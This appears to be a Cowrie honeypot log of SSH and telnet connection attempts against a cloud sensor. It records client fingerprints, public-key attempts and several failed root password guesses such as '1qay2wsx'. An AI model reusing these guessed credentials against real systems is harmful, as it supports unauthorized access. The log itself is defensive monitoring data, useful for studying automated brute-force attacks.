{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:4e:47:16:cb:3d:78:de:d5:3a:a0:0a:a4:44:6a:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/sw+vwQtijlKNE+lqrPxSqa+u/FN4N8Ai3Fd6EpgvjQOUuliAJfW+RjwxgBYV1XjkaabunKtI6h8ZAQw8bQ+eW/86iveB0iUvQUWq5hIxGe/uV/cQIPjM5xUcJ4Cn3538vEdEamGFspk40eNLIW8PEjehSU19AdC5gqYoPer7hGUwOMuEkjR2DW98foNGF4uaxjZloWac7bH7nK0kp4jss9Dpwy6rkHzG1xUPsQVDlusZ6bqzk0BCk6WgRL27tnpaZ7GvHy3L/xH38GJpqbdxF3a3LB9c2ovZSL/U1iJQMbdYMgDInNFkKBDbYKQIH7zr+qZff66dEbdp3FZZWbiwbgRyNLFyOP1+TDTpPmcD7dPR3q6cS9hi/B+X9AtX6/vlbEbmTa6InnYkIeUxdephpHVF+7MVlDzmkVrssvv88keYWBdtWBpImjONCXOP15UAq6wERYZbv9ywCL6GL6OGfnFJKV01mMFp7nlY9G2G5oe8pFUjKa8+ZU9MDN8cEGrG910RNiyhLlI5kxyVaeFfn2x67v8JFG3OyDtgOMuB9PhR0bO75ojkDGMVoa7OYbJ/557o2VL0JCXpbbo6kfUpxeXMomIAaU8VAgCnS1tDmYqJ5OhGk0Hrm8EG6zfpvhkhhGlvto2GQAm+ysRFRrGlATlqpnYorFeBZahktHRJAQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:4e:47:16:cb:3d:78:de:d5:3a:a0:0a:a4:44:6a:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:02:13.591353Z","src_ip":"78.111.67.246","session":"f91ec6037a11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:4e:47:16:cb:3d:78:de:d5:3a:a0:0a:a4:44:6a:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/sw+vwQtijlKNE+lqrPxSqa+u/FN4N8Ai3Fd6EpgvjQOUuliAJfW+RjwxgBYV1XjkaabunKtI6h8ZAQw8bQ+eW/86iveB0iUvQUWq5hIxGe/uV/cQIPjM5xUcJ4Cn3538vEdEamGFspk40eNLIW8PEjehSU19AdC5gqYoPer7hGUwOMuEkjR2DW98foNGF4uaxjZloWac7bH7nK0kp4jss9Dpwy6rkHzG1xUPsQVDlusZ6bqzk0BCk6WgRL27tnpaZ7GvHy3L/xH38GJpqbdxF3a3LB9c2ovZSL/U1iJQMbdYMgDInNFkKBDbYKQIH7zr+qZff66dEbdp3FZZWbiwbgRyNLFyOP1+TDTpPmcD7dPR3q6cS9hi/B+X9AtX6/vlbEbmTa6InnYkIeUxdephpHVF+7MVlDzmkVrssvv88keYWBdtWBpImjONCXOP15UAq6wERYZbv9ywCL6GL6OGfnFJKV01mMFp7nlY9G2G5oe8pFUjKa8+ZU9MDN8cEGrG910RNiyhLlI5kxyVaeFfn2x67v8JFG3OyDtgOMuB9PhR0bO75ojkDGMVoa7OYbJ/557o2VL0JCXpbbo6kfUpxeXMomIAaU8VAgCnS1tDmYqJ5OhGk0Hrm8EG6zfpvhkhhGlvto2GQAm+ysRFRrGlATlqpnYorFeBZahktHRJAQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:02:13.595472Z","src_ip":"78.111.67.246","session":"f91ec6037a11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:02:13.693509Z","src_ip":"78.111.67.246","session":"f91ec6037a11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59040,"dst_ip":"159.203.135.109","dst_port":22,"session":"3733d7dd9f05","protocol":"ssh","message":"New connection: 103.176.20.57:59040 (159.203.135.109:22) [session: 3733d7dd9f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:02:14.836877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:02:14.841854Z","src_ip":"103.176.20.57","session":"3733d7dd9f05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:02:15.090816Z","src_ip":"103.176.20.57","session":"3733d7dd9f05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1213141516","message":"login attempt [root/1213141516] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:02:15.844510Z","src_ip":"103.176.20.57","session":"3733d7dd9f05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:02:17.096388Z","src_ip":"103.176.20.57","session":"3733d7dd9f05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":33956,"dst_ip":"10.17.0.5","dst_port":22,"session":"151f14d36cfa","protocol":"ssh","message":"New connection: 89.223.69.22:33956 (10.17.0.5:22) [session: 151f14d36cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:02:38.541928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:02:38.546469Z","src_ip":"89.223.69.22","session":"151f14d36cfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:02:38.662426Z","src_ip":"89.223.69.22","session":"151f14d36cfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ivanov","message":"login attempt [root/ivanov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:02:39.012758Z","src_ip":"89.223.69.22","session":"151f14d36cfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:02:40.132901Z","src_ip":"89.223.69.22","session":"151f14d36cfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50658,"dst_ip":"10.17.0.5","dst_port":23,"session":"425e65c7fbc4","protocol":"telnet","message":"New connection: 152.42.224.71:50658 (10.17.0.5:23) [session: 425e65c7fbc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:02:57.609445Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.3.96.178","src_port":40606,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b0bbb1e9d88","protocol":"ssh","message":"New connection: 79.3.96.178:40606 (10.17.0.5:22) [session: 1b0bbb1e9d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:07.353969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:07.358786Z","src_ip":"79.3.96.178","session":"1b0bbb1e9d88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:07.488893Z","src_ip":"79.3.96.178","session":"1b0bbb1e9d88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qay2wsx","message":"login attempt [root/1qay2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:08.042742Z","src_ip":"79.3.96.178","session":"1b0bbb1e9d88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:09.175397Z","src_ip":"79.3.96.178","session":"1b0bbb1e9d88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.83193778991699,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:33.441263Z","src_ip":"152.42.224.71","session":"425e65c7fbc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.135.122.178","src_port":39100,"dst_ip":"10.17.0.5","dst_port":22,"session":"68ffbeef8083","protocol":"ssh","message":"New connection: 148.135.122.178:39100 (10.17.0.5:22) [session: 68ffbeef8083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:45.611114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:45.615916Z","src_ip":"148.135.122.178","session":"68ffbeef8083","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:45.684463Z","src_ip":"148.135.122.178","session":"68ffbeef8083","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:72:77:38:84:53:ef:11:bc:a0:fb:d9:77:22:fe:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCLva8ZtSULN0NJJc1Hyd6w78OIlYU6FWE1F7iZrP1mKFqc91gIV44fcamO8S1yK+A8CvgmBRPQqOpSoNCRaUptd6is7s3d/cLApNn8vvNEybtHnniT8BmIzYDS2CTGg++JhGzx5od7XDmb+eZW1ksAntR1FcWPYBBj/+5QxouTkMtegP149f5x/tNshIJ2L7OOANrYutSqHHXDdJDAC5yiXOVybIr9fX/m34NpdoUWjIb/UXnfIsQ045/b77ekOGxRjFgl7QCdGk+NckLrh4HXD18lykI9LRkG4YOqGyRS+uMzQlMIy0XxFJW4RKd5hrOdi/svvBBUiDi8TuVAewxl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:72:77:38:84:53:ef:11:bc:a0:fb:d9:77:22:fe:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:46.004650Z","src_ip":"148.135.122.178","session":"68ffbeef8083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:72:77:38:84:53:ef:11:bc:a0:fb:d9:77:22:fe:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCLva8ZtSULN0NJJc1Hyd6w78OIlYU6FWE1F7iZrP1mKFqc91gIV44fcamO8S1yK+A8CvgmBRPQqOpSoNCRaUptd6is7s3d/cLApNn8vvNEybtHnniT8BmIzYDS2CTGg++JhGzx5od7XDmb+eZW1ksAntR1FcWPYBBj/+5QxouTkMtegP149f5x/tNshIJ2L7OOANrYutSqHHXDdJDAC5yiXOVybIr9fX/m34NpdoUWjIb/UXnfIsQ045/b77ekOGxRjFgl7QCdGk+NckLrh4HXD18lykI9LRkG4YOqGyRS+uMzQlMIy0XxFJW4RKd5hrOdi/svvBBUiDi8TuVAewxl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:46.012516Z","src_ip":"148.135.122.178","session":"68ffbeef8083","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:6d:1f:13:75:43:03:48:43:57:fe:07:fb:d7:81:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDK5myiwXTT6kGwopY0fbrC9W5FewGqVzBuoDZXJ5faH8Yvzl5iHZiEZMxTwVoO6V1p4AJqc5v6Bun9ygPsYoD3M76ppNBT/tvxP/7xCKJfSapjJyqQJvJ3GXjLhCrriAlHXq7iB4cTUtc8wxlmgpS6hj8LHvIpoXrBNeWjgajJQJ3MCvCQGetGxsHGH8sZmmPN6wVcvvjjSMDdhl+i4+gCf9OLpuSQd9xr+SY46iZ1x5svXO6TF9ui+Tz4gbbW/iGGPl86CnCbudA8Tq8K5KlZFV+mOnV/pqK3fIh5i3NcH+uyjC9EIY1c8xOHqzQS+z6tvDz5s1bNCYmAbd5fe2XselSc/bEmcGUa7W9bj5wiCJrxliZBtiEBPO3kNEuzNxJh4rCVCQB1uWw+kygnqUbf6yrNR3JYBLaz17Dw4wWgrEy1eA4Ihe2WfMNFI92WkWx7mgLRm8yynMAdd/rkSCSjFs8CyJ/FefqT9iXqeLwGKPOXXFydptYXhNX72s0zmXDqTJ2DaZraW7If+J2PWqx8MFTRD8vzo/5CH2P4FmvY2SiYVxOiTvnXB3tTX8MLjvjwXPLKX1vIWTrCeXQdQwxPSsXEGiFuKOgmLHaQa9rEGwZeyt1V8bGO9LC57P1Hr4B+AKV2jSvcaX/ZTVGXkSRFuWTFVgmkDLF9hhOYmYDWaw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:6d:1f:13:75:43:03:48:43:57:fe:07:fb:d7:81:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:46.081723Z","src_ip":"148.135.122.178","session":"68ffbeef8083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:6d:1f:13:75:43:03:48:43:57:fe:07:fb:d7:81:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDK5myiwXTT6kGwopY0fbrC9W5FewGqVzBuoDZXJ5faH8Yvzl5iHZiEZMxTwVoO6V1p4AJqc5v6Bun9ygPsYoD3M76ppNBT/tvxP/7xCKJfSapjJyqQJvJ3GXjLhCrriAlHXq7iB4cTUtc8wxlmgpS6hj8LHvIpoXrBNeWjgajJQJ3MCvCQGetGxsHGH8sZmmPN6wVcvvjjSMDdhl+i4+gCf9OLpuSQd9xr+SY46iZ1x5svXO6TF9ui+Tz4gbbW/iGGPl86CnCbudA8Tq8K5KlZFV+mOnV/pqK3fIh5i3NcH+uyjC9EIY1c8xOHqzQS+z6tvDz5s1bNCYmAbd5fe2XselSc/bEmcGUa7W9bj5wiCJrxliZBtiEBPO3kNEuzNxJh4rCVCQB1uWw+kygnqUbf6yrNR3JYBLaz17Dw4wWgrEy1eA4Ihe2WfMNFI92WkWx7mgLRm8yynMAdd/rkSCSjFs8CyJ/FefqT9iXqeLwGKPOXXFydptYXhNX72s0zmXDqTJ2DaZraW7If+J2PWqx8MFTRD8vzo/5CH2P4FmvY2SiYVxOiTvnXB3tTX8MLjvjwXPLKX1vIWTrCeXQdQwxPSsXEGiFuKOgmLHaQa9rEGwZeyt1V8bGO9LC57P1Hr4B+AKV2jSvcaX/ZTVGXkSRFuWTFVgmkDLF9hhOYmYDWaw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:46.086102Z","src_ip":"148.135.122.178","session":"68ffbeef8083","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b8:77:96:c9:80:fe:4f:03:b9:d0:64:cd:17:3d:28:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6cZH1GctdsiNhf9jQdrBcjc8neEMcvmRikpb7ruKQ5fYpl5DAMuFq75WrYYWhXPDE3a5D9Fnp0cMy1hW7Zfs03vZgZ5oqV6pEH0V/UvXUn/w5ZLEt9EPoZ/V2LI8wyRs1gtjdBnnjrprHu9UYmjZbtc+1yGsIwfBnp4nKHc955Zb2NXAqiKhuwrmX4WR3YkPQtbSl9tritsXwH+B0onGwDmTEkI3rxZHJc/Y8zG0nqwAMGKvBHCPM5e8UAho9G6tMED0RKwdqXzP1PITBA1QBRu4iawGwgaIWdgyg++nFbUpfx0OIzy4Dq3UoJPvg+6MUULLIcbzaHnbxQ+3p0ZFUQQXdvBuvnpuQAYaOFMvfyt8O5vTE9evXqu16J37OOINGK4IDaVU94o+2J9IOjElhAPuqlm2Wr47OATPE61b+NhJM7PEddvqc80sgWTg4PtcZy85jKqNIWQROCAWxMxQX5iIT+mj/bdvybwKfEMURM1spvavqZJ4Z98JVoIgUIkzB00xJNWub5xsjMIAG9a7uEAw8q00nk0BvVG5T0DmXFlUdfmEvO68ATD17jVWFtYzZgRJypfoZXXs2/pgxzVGfqVbRxM+dFVZLa4IJVLtMHULgYhy2WaNtE+zzX99lvSoKfsVcCS5HvhCyb/op7aBGCdpwiAiFBFjUtchMvGYywQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b8:77:96:c9:80:fe:4f:03:b9:d0:64:cd:17:3d:28:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:46.154877Z","src_ip":"148.135.122.178","session":"68ffbeef8083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b8:77:96:c9:80:fe:4f:03:b9:d0:64:cd:17:3d:28:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6cZH1GctdsiNhf9jQdrBcjc8neEMcvmRikpb7ruKQ5fYpl5DAMuFq75WrYYWhXPDE3a5D9Fnp0cMy1hW7Zfs03vZgZ5oqV6pEH0V/UvXUn/w5ZLEt9EPoZ/V2LI8wyRs1gtjdBnnjrprHu9UYmjZbtc+1yGsIwfBnp4nKHc955Zb2NXAqiKhuwrmX4WR3YkPQtbSl9tritsXwH+B0onGwDmTEkI3rxZHJc/Y8zG0nqwAMGKvBHCPM5e8UAho9G6tMED0RKwdqXzP1PITBA1QBRu4iawGwgaIWdgyg++nFbUpfx0OIzy4Dq3UoJPvg+6MUULLIcbzaHnbxQ+3p0ZFUQQXdvBuvnpuQAYaOFMvfyt8O5vTE9evXqu16J37OOINGK4IDaVU94o+2J9IOjElhAPuqlm2Wr47OATPE61b+NhJM7PEddvqc80sgWTg4PtcZy85jKqNIWQROCAWxMxQX5iIT+mj/bdvybwKfEMURM1spvavqZJ4Z98JVoIgUIkzB00xJNWub5xsjMIAG9a7uEAw8q00nk0BvVG5T0DmXFlUdfmEvO68ATD17jVWFtYzZgRJypfoZXXs2/pgxzVGfqVbRxM+dFVZLa4IJVLtMHULgYhy2WaNtE+zzX99lvSoKfsVcCS5HvhCyb/op7aBGCdpwiAiFBFjUtchMvGYywQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:46.158925Z","src_ip":"148.135.122.178","session":"68ffbeef8083","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:41:00:5a:7b:b5:ed:ed:43:11:1b:9d:ed:10:be:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbicADy21HY9jB/6JkX5VWlpn9ESQR5piRUxVRPFQ8RlSjnhd9b+NTsGmzfKgDBjQ9jhMDv1AtdNUV1e2397yj++H3Mr2JCVA3gO14j14w93bQtjv7D48qWvq63TgkgJmeeX6YcGU/g8R1rurtOgBOIlBuc9QeumyR1bUixqfKKe2cKN6SzTvP8ky2xNLK7q9DAy5DKrfsCJiTnhy+vaaf5EP3YFl31okMWrrE+mXgdOaaODD5S0Y03nDLInpRBGGfmjSEYugPmVe5O9O+9o/cgq+fBlKODjhOOrrB4ar7luOqXQu2VsFsCgP5458sDTP/8HZMwcq1z1HyIMRq5Ai9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:41:00:5a:7b:b5:ed:ed:43:11:1b:9d:ed:10:be:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:03:46.227981Z","src_ip":"148.135.122.178","session":"68ffbeef8083","protocol":"ssh"}
